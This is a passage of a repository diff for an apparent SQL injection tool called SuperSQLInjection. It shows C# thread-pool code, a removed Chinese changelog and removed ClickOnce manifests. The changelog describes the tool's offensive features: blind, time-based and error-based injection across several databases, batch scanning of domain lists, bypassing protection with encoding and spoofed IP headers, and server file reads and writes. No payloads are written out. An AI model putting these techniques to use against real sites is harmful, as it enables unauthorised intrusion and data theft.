// Linked list members
internal WaiterEntry _nextWaiterEntry = null;
internal WaiterEntry _prevWaiterEntry = null;
#endregion
#region Construction
public WaiterEntry()
{
Reset();
}
#endregion
#region Public methods
public WaitHandle WaitHandle
{
get { return _waitHandle; }
}
public WorkItem WorkItem
{
get
{
return _workItem;
}
}
/// <summary>
/// Signal the waiter that it got a work item.
/// </summary>
/// <returns>Return true on success</returns>
/// The method fails if Timeout() preceded its call
public bool Signal(WorkItem workItem)
{
lock(this)
{
if (!_isTimedout)
{
_workItem = workItem;
_isSignaled = true;
_waitHandle.Set();
return true;
}
}
return false;
}
/// <summary>
/// Mark the wait entry that it has been timed out
/// </summary>
/// <returns>Return true on success</returns>
/// The method fails if Signal() preceded its call
public bool Timeout()
{
lock(this)
{
// Time out can happen only if the waiter wasn't marked as
// signaled
if (!_isSignaled)
{
// We don't remove the waiter from the queue, the DequeueWorkItem
// method skips _waiters that were timed out.
_isTimedout = true;
return true;
}
}
return false;
}
/// <summary>
/// Reset the wait entry so it can be used again
/// </summary>
public void Reset()
{
_workItem = null;
_isTimedout = false;
_isSignaled = false;
_waitHandle.Reset();
}
/// <summary>
/// Free resources
/// </summary>
public void Close()
{
if (null != _waitHandle)
{
_waitHandle.Close();
_waitHandle = null;
}
}
#endregion
#region IDisposable Members
public void Dispose()
{
lock (this)
{
if (!_isDisposed)
{
Close();
}
_isDisposed = true;
}
}
#endregion
}
#endregion
#region IDisposable Members
public void Dispose()
{
if (!_isDisposed)
{
Cleanup();
}
_isDisposed = true;
}
private void ValidateNotDisposed()
{
if(_isDisposed)
{
throw new ObjectDisposedException(GetType().ToString(), "The SmartThreadPool has been shutdown");
}
}
#endregion
}
#endregion
}

View File

@@ -1,252 +0,0 @@
20160321 V1.0 正式版---
老问题又是临时测试改代码忘了改回来导致MYSQL盲注无法获取数据。
MYSQL盲注添加一个空格防止注入标记前面缺少空格时无法获取数据。
20160314 V1.0 正式版---
修复一个之前临时测试将+=改成了-=导致盲注取逻辑错误。
增加单独导出批量扫描注入的原始URL和测试URL。
20160224 V1.0 正式版---
修改导入配置时,当已经存在替换字符时,导入的配置存在相同替换字符会冲突。
修改获取执行命令结果时在SQLServer显示错误注入下结果字符没有进行HTML解码操作。
修正MySQL延时注入部分情况不能获取数据的问题。
20160122 V1.0 正式版---
修改批量注入爬行链接时,清空地址后,再次导入地址无法爬行链接问题。
20160121 V1.0 正式版---
修改注入绕过Base64编码处理可以选择编码次数解决部分情况存在二次Base64编码的情况。
20160119 V1.0 正式版---
添加选择自动识别编码方式(限单个域名获取数据,防止部分网站指定的编码和实际使用的编码不一致),批量注入会默认采用自动识别编码。
修正替换字符因为添加模板引发的处理错误。
20160118 V1.0 正式版---
修正批量扫描注入部分情况跳过了检测参数。
优化批量注入爬行连接,导入域名。
修改自动更新模式,自动下载更新程序包。
优化自动识别注入算法,采用相似度算法。
优化HTTP发包性能在遇到响应慢或无响应的服务器线程将自动休眠一定时间减少CPU死循环。
修正获取网页编码部分情况正则错误问题。
添加自动修改网页编码当响应头没有编码时根据HTML中编码进行解码 都没有则采用默认编码。
修正HTTP解析时当出现deflate方式没有deflate解码。
20160116 V1.0 正式版---
修正部分情况自动识别找不到关键字问题。
修改批量扫描注入算法识别更精准误报漏报率更低。低于1%)。
增加注入绕过模板功能,程序默认了几个模板,同时也可将当前注入绕过配置保存成模板,供以后使用。
20160108 V1.0 正式版---
修正注入绕过使用正则替换导致部分特殊字符无法替换。
修正排序中存在数字时没有按照数字大小排序。
调整批量扫描注入长度比阀值固定长度大于等于1%动态长度大于1%),大于此阀值就会提示存在注入。
优化批量扫描注入占用CPU过高的问题大幅度提升发包效率。每秒可处理发送上百个数据包。
20160105 V1.0 正式版---
修正随机大小写时对库名表明进行随机大小写时部分情况会出现表不存在的问题。(对带有点的词不随机大小写)
增加盲注以网页响应Content-Length长度作为判断方式解决极少数情况在没有网页body时无法使用关键字判断的问题。
20160101 V1.0 正式版---
修改发包数量计数器。
修复扫描注入无法开始爬行链接问题。
修正SQLServer显错注入时由于SQLServer对字符进行了HTML编码没有解码的问题所以把HTML解码加上。
修改配置文件判断Access的方法加一个函数ascw判断。
20151227 V1.0 正式版---
修改发包数量计数方式。
显示发包总数。
增加根据URL生成请求数据包功能手册2.1章节)。
更新手册,增加代理设置方法。
20151215 V1.0 正式版---
修复少数情况使用and判断MySQL不报错问题已修改成or方式。
修复部分情况识别网页编码错误问题。
修复错误注入自动标记错误问题,手抖改了代码改出来的毛病。
优化自动识别注入测试payload。
20151204 V1.0 正式版---
修复自动识别注入时部分情况不自动标记。
修复读取批量注入跳过不检测参数时发生错误。
优化HTTP发包性能。
更新使用手册到1.5版本。
增加对于登录点的or类型的注入自动识别特征。
增加自动识别网页编码失败时,提示人工设置编码。
20151203 V1.0 正式版---
修复自动识别注入依靠状态码判断数字转换错误问题。
修复批量扫描注入右键菜单未正确清除URL问题。
在获取数据的表格增加右键菜单,清空,无法自动删除列时可以使用清空。
优化爬行连接时去掉不标准的URL。
优化批量检测Bool型SQL注入的算法降低误报率。
增加自动识别注入时自动识别网页编码。
增加接收数据包时自动根据header头部编码识别网页编码如果没有编码才采用人工设置的编码。
20151118 V1.0 正式版---
优化性能。
增加延时盲注功能目前延时盲注支持mysql可在判断值这里设置时间判断单位秒时间要比超时时间稍微小点。
更多延时数据库支持敬请期待。
增加生成GET/POST数据包模板功能修改请求的地址和HOST即可发包不用每次都去抓包了。数据包右键菜单
增加GET/POST提交方式互相转换功能。数据包右键菜单
更多数据库支持敬请期待下期将支持DB2/PostgreSQL。
20150913 V1.0 正式版---
修复绕过注入时,由于字符处理问题导致可能无法正常获取数据(如前面版本自动识别注入获取不到数据库类型)
修复绕过注入使用随机大小写造成环境变量无法正常获取问题
添加保存和加载数据库结构功能,可将数据库结构保存在本地,下次获取数据时,可直接加载数据库的结构信息。
20150730 V1.0 正式版---
修复绕过注入使用随机大小写造成数据库和表名随机大小写导致无法正常获取数据。
此版本开始,使用.net framework 4.0
20150610 V1.0 正式版---
修复MySQL load_file读文件时文件非UTF-8编码时遇到中文将读取错误。
20150606 V1.0 正式版---
修复获取数据时,如果没有数据时,线程还会继续获取数据。
优化批量扫描注入的爬行深度可在系统设置里面调整单个域名的最大爬行数和单个域名最大扫描URL数。
md5编码增加小写md5
获取mysql环境变量时增加获取主机名称:@@hostname、安装目录:@@basedir、数据目录:@@datadir
20150604 V1.0 正式版---
修复部分SSL协议版本问题导致https发包错误
修复批量扫描注入爬行链接在Windows xp,Server03下的兼容问题。
20150526 V1.0 正式版---
优化体验
增加默认最大线程设置
修复chunked传输长度计算逻辑错误导致数据获取错误
20150520 V1.0 正式版---
优化体验
修改数据导出格式导出csv格式
20150519 V1.0 正式版---
优化批量扫描注入发生错误的bug
修复内存不足,导致软件闪退问题
修复批量扫描注入结果无法排序问题
修复自动识别注入时,选择数据库类型错误
修复HTTP发包组件解析chunked传输方式逻辑错误导致读取网页内容不完全
修复SQLServer部错误显示注入部分情况由于数字转换没报错导致无法获取数据情况
20150516 V1.0 正式版---
优化SQLServer部分情况无法获取表、列、数据的情况
添加未知注入和未知数据库,自动识别注入,先自动选择未知,避免误解。
正式开放SSL功能针对HTTPS的页面也可以注入了。
20150508 V1.0 正式版---
优化代码
修复批量扫描注入死循环问题导致CPU占用异常
20150505 V1.0 beta20---
批量扫描注入添加导出爬行URL功能、清空URL-右键菜单
优化批量扫描注入功能
修复Socket超时设置由于静态变量导致二次自动乘以1000造成超时时间过长导致CPU占用过高性能下降
20150503 V1.0 beta19----
修复手动添加数据库时,关闭闪退。
优化CTRL+F查找字符功能这个是隐藏功能可自行在文本框里使用CTRL+F查找
修复Socket超时设置无效导致HTTP请求超时设置无效造成CPU占用过高性能下降
新增系统设置-最大列-用于在自动识别注入进行Union测试时判断最大列超过此数将停止判断
优化修复部分不影响功能的bug
20150321 V1.0 beta18----
修复添加绕过字符后,重新打开界面没有显示替换处理字符。
修复添加绕过字符后,删除替换字符时,实际未生效。
新增base64编码处理。
优化代码。
20150315 V1.0 beta17----
修复发包序号多线程操作不同步问题采用不重复ID算法。
新增表格数据排序功能,点击列名称即可实现顺序、倒序排列。
修复界面放大时编码转换中UI错乱问题。
在注入中心添加获取数据按钮,配置完成后可点击切换到数据中心自动获取环境变量。
对多个文本框添加全选CTRL+A快捷键。
20150313 V1.0 beta16----
修复SQLServer2005错误注入无法获取数据问题payload里面使用的and在部分情况下不会报错
新增md5编码和md5在线解密支持接口www.cmd5.com、www.md5.com.cn、www.xmd5.org、www.somd5.com、www.md5.cc、www.pmd5.com
新增配置设置,允许设置软件在关闭时是否自动保存配置信息
20150201 V1.0 beta15----
修复注入绕过时,选择了随机大小写,导致替换字符失效问题。
修改、优化批量注入扫描方式,先爬行一次,在扫描。
增加自动保存替换字符。
修复一个http发包遇到301状态时一个死循环问题。
20141230 V1.0 beta14----
修复302跟踪由于URL跟踪错误导致报400错误。
20141228 V1.0 beta13----
修复文件读取路径不兼容问题。
修复一个union注入显示列识别错误问题。
20141221 V1.0 beta12----
修改批量扫描支持批量检测指定的URL选择深度0即可。
修复一个闪退问题。
修复其他一些小问题。
20141221 V1.0 beta11----
修改批量扫描支持批量检测指定的URL选择深度0即可。
修复一个闪退问题。
修复其他一些小问题。
20141220 V1.0 beta10----
修复无法批量扫描注入的问题几个bug。
提高注入识别和扫描的准确率。
修复其他一些小问题。
20141219 V1.0 beta10----
修复无法扫描注入的问题。
修复死循环bug一个。
优化自动识别注入准确率。
修复HTTP日志文件内容被二次追加问题。
20141218 V1.0 beta9----
修复解析HTTP头信息报异常问题。
修复其他一些小问题。
优化自动识别注入准确率。
改进优化HTTP日志记录方式使用文件记录发包数据记录日志较多情况下再也不担心内存爆了建议调试好了关闭日志记录这个会占用部分效率需要的时候随时打开。
新增批量注入扫描,只需要导入域名列表就可以批量扫注入了。
20141217 V1.0 beta8----
修复导入配置没有刷新配置问题。
修复Union注入由于反射查询参数导致识别字段显示列不准确问题。
修复某些情况下判断注入数据库类型不准确问题。
20141216 V1.0 beta7----
修复gzip解压缩错误长度大于100kb无法处理问题。
修复解析HTTP头出现null指针异常。
修复MySQL盲注没有使用16进制问题在单引号被转义后无法获取数据问题。
20141215 V1.0 beta6----
修复自动识别注入union判断显示列不准确问题解码出现异常问题。
修复Access盲注无法判断数据库问题。
增加查找盲注关键字功能。在注入标记好后,可自动查找盲注关键字。
20141214 V1.0 beta5----
修复无法解码问题和,解码出现异常问题。
增加自动识别注入并自动配置注入目前此功能只能对body长度不变或状态码进行简单识别如识别失败或获取不到数据请人工识别。
20141213 V1.0 beta4----
修复导出数据时发生异常,无法正常导出数据问题。
修复Oracle错误显示注入选择列过多时无法获取数据的问题。
修复POST提交数据中没有Content-Length头时协议错误问题。
修复一些其他小问题。
新增SQLServer文件读写功能,可使用FileSystemObject、sp_makewebtask、备份等方法写文件利用FileSystemObject读文件。读写文件不要超过4000个字符。
新增编码转换功能支持URLEncode、Base64、Unicode,16进制hex等编码转换。
新增关键字验证功能,可验证关键字是否配置正确。
新增注入绕过-发包延时,每一个包可控制延时时间,对付请求过快导致被墙问题。
新增注入绕过-随机IP头在HTTP请求头重随机产生IP绕过一些防护和实现IP欺骗
20141206 V1.0 beta3----
修复导出数据未使用多线程,导致导出数据假死。
修复MySQL错误显示注入获取不到数据的问题
修复选择错误注入时提示union的列未配置。
修复数据较多时,导出数据界面假死。
新增注入绕过,可进行字符替换,简单绕过。

View File

@@ -1,21 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xrml="urn:mpeg:mpeg21:2003:01-REL-R-NS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:co.v1="urn:schemas-microsoft-com:clickonce.v1" xmlns:co.v2="urn:schemas-microsoft-com:clickonce.v2">
<assemblyIdentity name="SuperSQLInjection.application" version="2016.01.05.0" publicKeyToken="46fea4eecaa2932f" language="neutral" processorArchitecture="x86" xmlns="urn:schemas-microsoft-com:asm.v1" />
<description asmv2:publisher="SuperSQLInjection" asmv2:product="SuperSQLInjection" xmlns="urn:schemas-microsoft-com:asm.v1" />
<deployment install="true" mapFileExtensions="true" />
<compatibleFrameworks xmlns="urn:schemas-microsoft-com:clickonce.v2">
<framework targetVersion="4.0" profile="Full" supportedRuntime="4.0.30319" />
</compatibleFrameworks>
<dependency>
<dependentAssembly dependencyType="install" codebase="Application Files\SuperSQLInjection_2016_01_05_0\SuperSQLInjection.exe.manifest" size="8181">
<assemblyIdentity name="SuperSQLInjection.exe" version="2016.01.05.0" publicKeyToken="46fea4eecaa2932f" language="neutral" processorArchitecture="x86" type="win32" />
<hash>
<dsig:Transforms>
<dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
</dsig:Transforms>
<dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
<dsig:DigestValue>gAs/TyknF/4dNgKirgeCy0VQSBk=</dsig:DigestValue>
</hash>
</dependentAssembly>
</dependency>
<publisherIdentity name="CN=DESKTOP-T009CQE\shack2" issuerKeyHash="df43df9bccbc72aa76805c6b741d90ac81d9a5e3" /><Signature Id="StrongNameSignature" xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" /><DigestValue>oaT56oKuR3alD/PZ79QRFQqsr/4=</DigestValue></Reference></SignedInfo><SignatureValue>qMuGCX/i2pzV4msE+YGr7UxOYPngnpJZR2tYM6X2g0xMFU1afxsbf+XYJm2dZQYMQGx1jrnJqvssyWSkLYMNojXyDq6k/3TvcM/t/s2ZvJCz/GWXQckrvMejD2OHukR7ETyctizeIuWXgvQGyYZXG1jY+nB2hYI/h8tYxtv8W78=</SignatureValue><KeyInfo Id="StrongNameKeyInfo"><KeyValue><RSAKeyValue><Modulus>vGo4QUWgfGN7E/fzFqyNdgcG6irznr1s0c0KT79VQxyZAJrcA1OP9XlTNM1nVqN4xy6LK7LBx39zxQ6ah5veevxWkweCTPqeDwQw83MQHVevUtPGzHMZTAVwMrA4w+7FOhqkxWmMnaWHOjjubp9mn6SU+nub/mNibX5wnSe3jJ0=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue><msrel:RelData xmlns:msrel="http://schemas.microsoft.com/windows/rel/2005/reldata"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" xmlns:as="http://schemas.microsoft.com/windows/pki/2005/Authenticode"><r:grant><as:ManifestInformation Hash="feafac0a1511d4efd9f30fa57647ae82eaf9a4a1" Description="" Url=""><as:assemblyIdentity name="SuperSQLInjection.application" version="2016.01.05.0" publicKeyToken="46fea4eecaa2932f" language="neutral" processorArchitecture="x86" xmlns="urn:schemas-microsoft-com:asm.v1" /></as:ManifestInformation><as:SignedBy /><as:AuthenticodePublisher><as:X509SubjectName>CN=DESKTOP-T009CQE\shack2</as:X509SubjectName></as:AuthenticodePublisher></r:grant><r:issuer><Signature Id="AuthenticodeSignature" xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" /><DigestValue>m6wWY1yfDMQPe+z3uaqSAkxql5U=</DigestValue></Reference></SignedInfo><SignatureValue>gYBpuAu5h+mOxWNHvJ/yAPmde9Z0iKr4f2TTQqrWb8IZHqt8zJYfxi0Kh7PLFaf+lNrnbCyM/nQLKK7HBHifVRKIjCNJ9Po9utzrhylLj32I+2dnLd6+tjrH8v19U2rGdJ/aHeppWuSqwzUVnJ3oqbpjnNbmYaogdNCE9SVx/Jw=</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>vGo4QUWgfGN7E/fzFqyNdgcG6irznr1s0c0KT79VQxyZAJrcA1OP9XlTNM1nVqN4xy6LK7LBx39zxQ6ah5veevxWkweCTPqeDwQw83MQHVevUtPGzHMZTAVwMrA4w+7FOhqkxWmMnaWHOjjubp9mn6SU+nub/mNibX5wnSe3jJ0=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue><X509Data><X509Certificate>MIIB8TCCAVqgAwIBAgIQTPcc6oMYorxGRkGiNt4vdDANBgkqhkiG9w0BAQUFADA3MTUwMwYDVQQDHiwARABFAFMASwBUAE8AUAAtAFQAMAAwADkAQwBRAEUAXABzAGgAYQBjAGsAMjAeFw0xNjAxMDUwNzA2MjVaFw0xNzAxMDQxMzA2MjVaMDcxNTAzBgNVBAMeLABEAEUAUwBLAFQATwBQAC0AVAAwADAAOQBDAFEARQBcAHMAaABhAGMAawAyMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8ajhBRaB8Y3sT9/MWrI12BwbqKvOevWzRzQpPv1VDHJkAmtwDU4/1eVM0zWdWo3jHLosrssHHf3PFDpqHm956/FaTB4JM+p4PBDDzcxAdV69S08bMcxlMBXAysDjD7sU6GqTFaYydpYc6OO5un2afpJT6e5v+Y2JtfnCdJ7eMnQIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAI20fV7Nk6dDe58PeVtblLeUBUBypvhh3ddnU6uO3+Fwv4KorSto6qtFq9uyzY/lPP/u5SQZmVBiZG7pK6vGfDhBt7PAtNoLgzsp7/wXXze7a8IwsAm8gmK0wmYtXK9IvS17UikTNWn9OS73AfvpR8SuzxPnvymkYBG2bsPqmRaj</X509Certificate></X509Data></KeyInfo></Signature></r:issuer></r:license></msrel:RelData></KeyInfo></Signature></asmv1:assembly>

View File

@@ -1,3 +0,0 @@
<?xml version="1.0"?>
<configuration>
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/></startup></configuration>

View File

@@ -1,81 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:co.v1="urn:schemas-microsoft-com:clickonce.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:co.v2="urn:schemas-microsoft-com:clickonce.v2">
<asmv1:assemblyIdentity name="SuperSQLInjection.exe" version="2016.01.05.0" publicKeyToken="46fea4eecaa2932f" language="neutral" processorArchitecture="x86" type="win32" />
<application />
<entryPoint>
<assemblyIdentity name="SuperSQLInjection" version="1.2016.1.1" language="neutral" processorArchitecture="x86" />
<commandLine file="SuperSQLInjection.exe" parameters="" />
</entryPoint>
<trustInfo>
<security>
<applicationRequestMinimum>
<PermissionSet version="1" class="System.Security.NamedPermissionSet" Name="LocalIntranet" Description="Default rights given to applications on the local intranet" Unrestricted="true" ID="Custom" SameSite="site" />
<defaultAssemblyRequest permissionSetReference="Custom" />
</applicationRequestMinimum>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<!-- UAC 清单选项
如果想要更改 Windows 用户帐户控制级别,请使用
以下节点之一替换 requestedExecutionLevel 节点。n
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
指定 requestedExecutionLevel 元素将禁用文件和注册表虚拟化。
如果你的应用程序需要此虚拟化来实现向后兼容性,则删除此
元素。
-->
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<dependency>
<dependentOS>
<osVersionInfo>
<os majorVersion="5" minorVersion="1" buildNumber="2600" servicePackMajor="0" />
</osVersionInfo>
</dependentOS>
</dependency>
<dependency>
<dependentAssembly dependencyType="preRequisite" allowDelayedBinding="true">
<assemblyIdentity name="Microsoft.Windows.CommonLanguageRuntime" version="4.0.30319.0" />
</dependentAssembly>
</dependency>
<dependency>
<dependentAssembly dependencyType="install" allowDelayedBinding="true" codebase="SuperSQLInjection.exe" size="238528">
<assemblyIdentity name="SuperSQLInjection" version="1.2016.1.1" language="neutral" processorArchitecture="x86" />
<hash>
<dsig:Transforms>
<dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
</dsig:Transforms>
<dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
<dsig:DigestValue>MzoAOL5R6lPkke3HWwU+tccy9LI=</dsig:DigestValue>
</hash>
</dependentAssembly>
</dependency>
<file name="SuperSQLInjection.exe.config" size="144">
<hash>
<dsig:Transforms>
<dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
</dsig:Transforms>
<dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
<dsig:DigestValue>cpzNzlRjZspwKGLNlX6RAlU3880=</dsig:DigestValue>
</hash>
</file>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!-- 设计此应用程序与其一起工作且已针对此应用程序进行测试的
Windows 版本的列表。取消评论适当的元素Windows 将
自动选择最兼容的环境。 -->
<!-- Windows Vista -->
<!--<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" />-->
<!-- Windows 7 -->
<!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" />-->
<!-- Windows 8 -->
<!--<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}" />-->
<!-- Windows 8.1 -->
<!--<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}" />-->
<!-- Windows 10 -->
<!--<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}" />-->
</application>
</compatibility>
<publisherIdentity name="CN=DESKTOP-T009CQE\shack2" issuerKeyHash="df43df9bccbc72aa76805c6b741d90ac81d9a5e3" /><Signature Id="StrongNameSignature" xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" /><DigestValue>DggssPaMqM6CqgARrCO/pDw3Jfg=</DigestValue></Reference></SignedInfo><SignatureValue>CTJF8DGXtEUhTfOmyO6oSrA40dGK9leO1ikDrxcwkL5xNZJyt73X/hfNiOfbK+Q0cQ4sQzALzgOgKb3LFneBb4MusIuwffTGkKbD6apSydOT1zT7pVkQiqyIXJfvKIF0j7PKcipmsrXnWJ+Ry6r8k0GPW9rsKiFI3WZTysJJHK8=</SignatureValue><KeyInfo Id="StrongNameKeyInfo"><KeyValue><RSAKeyValue><Modulus>vGo4QUWgfGN7E/fzFqyNdgcG6irznr1s0c0KT79VQxyZAJrcA1OP9XlTNM1nVqN4xy6LK7LBx39zxQ6ah5veevxWkweCTPqeDwQw83MQHVevUtPGzHMZTAVwMrA4w+7FOhqkxWmMnaWHOjjubp9mn6SU+nub/mNibX5wnSe3jJ0=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue><msrel:RelData xmlns:msrel="http://schemas.microsoft.com/windows/rel/2005/reldata"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" xmlns:as="http://schemas.microsoft.com/windows/pki/2005/Authenticode"><r:grant><as:ManifestInformation Hash="f825373ca4bf23ac1100aa82cea88cf6b02c080e" Description="" Url=""><as:assemblyIdentity name="SuperSQLInjection.exe" version="2016.01.05.0" publicKeyToken="46fea4eecaa2932f" language="neutral" processorArchitecture="x86" type="win32" /></as:ManifestInformation><as:SignedBy /><as:AuthenticodePublisher><as:X509SubjectName>CN=DESKTOP-T009CQE\shack2</as:X509SubjectName></as:AuthenticodePublisher></r:grant><r:issuer><Signature Id="AuthenticodeSignature" xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" /><DigestValue>ELRpYqKy1OdgqVm1x1O5nixOwFA=</DigestValue></Reference></SignedInfo><SignatureValue>EBm3PkvOqz/o/WnwEbAYz0rh3d7sTDvoJ/3LcCNOGIebqrMO2d1b+mUaMzMeHDmmKx93K2XqjebOqFhtrwLwg+0z6WMtvXGTBJjb+he5H/evWw3K+OYLGXsEogyGtNiVO8QyyUGn+C3vZSIJ2g2cAj45UBB/wVhLxT3Wr6F+OF8=</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>vGo4QUWgfGN7E/fzFqyNdgcG6irznr1s0c0KT79VQxyZAJrcA1OP9XlTNM1nVqN4xy6LK7LBx39zxQ6ah5veevxWkweCTPqeDwQw83MQHVevUtPGzHMZTAVwMrA4w+7FOhqkxWmMnaWHOjjubp9mn6SU+nub/mNibX5wnSe3jJ0=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue><X509Data><X509Certificate>MIIB8TCCAVqgAwIBAgIQTPcc6oMYorxGRkGiNt4vdDANBgkqhkiG9w0BAQUFADA3MTUwMwYDVQQDHiwARABFAFMASwBUAE8AUAAtAFQAMAAwADkAQwBRAEUAXABzAGgAYQBjAGsAMjAeFw0xNjAxMDUwNzA2MjVaFw0xNzAxMDQxMzA2MjVaMDcxNTAzBgNVBAMeLABEAEUAUwBLAFQATwBQAC0AVAAwADAAOQBDAFEARQBcAHMAaABhAGMAawAyMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8ajhBRaB8Y3sT9/MWrI12BwbqKvOevWzRzQpPv1VDHJkAmtwDU4/1eVM0zWdWo3jHLosrssHHf3PFDpqHm956/FaTB4JM+p4PBDDzcxAdV69S08bMcxlMBXAysDjD7sU6GqTFaYydpYc6OO5un2afpJT6e5v+Y2JtfnCdJ7eMnQIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAI20fV7Nk6dDe58PeVtblLeUBUBypvhh3ddnU6uO3+Fwv4KorSto6qtFq9uyzY/lPP/u5SQZmVBiZG7pK6vGfDhBt7PAtNoLgzsp7/wXXze7a8IwsAm8gmK0wmYtXK9IvS17UikTNWn9OS73AfvpR8SuzxPnvymkYBG2bsPqmRaj</X509Certificate></X509Data></KeyInfo></Signature></r:issuer></r:license></msrel:RelData></KeyInfo></Signature></asmv1:assembly>

View File

@@ -1,21 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xrml="urn:mpeg:mpeg21:2003:01-REL-R-NS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:co.v1="urn:schemas-microsoft-com:clickonce.v1" xmlns:co.v2="urn:schemas-microsoft-com:clickonce.v2">
<assemblyIdentity name="SuperSQLInjection.application" version="2016.01.05.0" publicKeyToken="46fea4eecaa2932f" language="neutral" processorArchitecture="x86" xmlns="urn:schemas-microsoft-com:asm.v1" />
<description asmv2:publisher="SuperSQLInjection" asmv2:product="SuperSQLInjection" xmlns="urn:schemas-microsoft-com:asm.v1" />
<deployment install="true" mapFileExtensions="true" />
<compatibleFrameworks xmlns="urn:schemas-microsoft-com:clickonce.v2">
<framework targetVersion="4.0" profile="Full" supportedRuntime="4.0.30319" />
</compatibleFrameworks>
<dependency>
<dependentAssembly dependencyType="install" codebase="Application Files\SuperSQLInjection_2016_01_05_0\SuperSQLInjection.exe.manifest" size="8181">
<assemblyIdentity name="SuperSQLInjection.exe" version="2016.01.05.0" publicKeyToken="46fea4eecaa2932f" language="neutral" processorArchitecture="x86" type="win32" />
<hash>
<dsig:Transforms>
<dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
</dsig:Transforms>
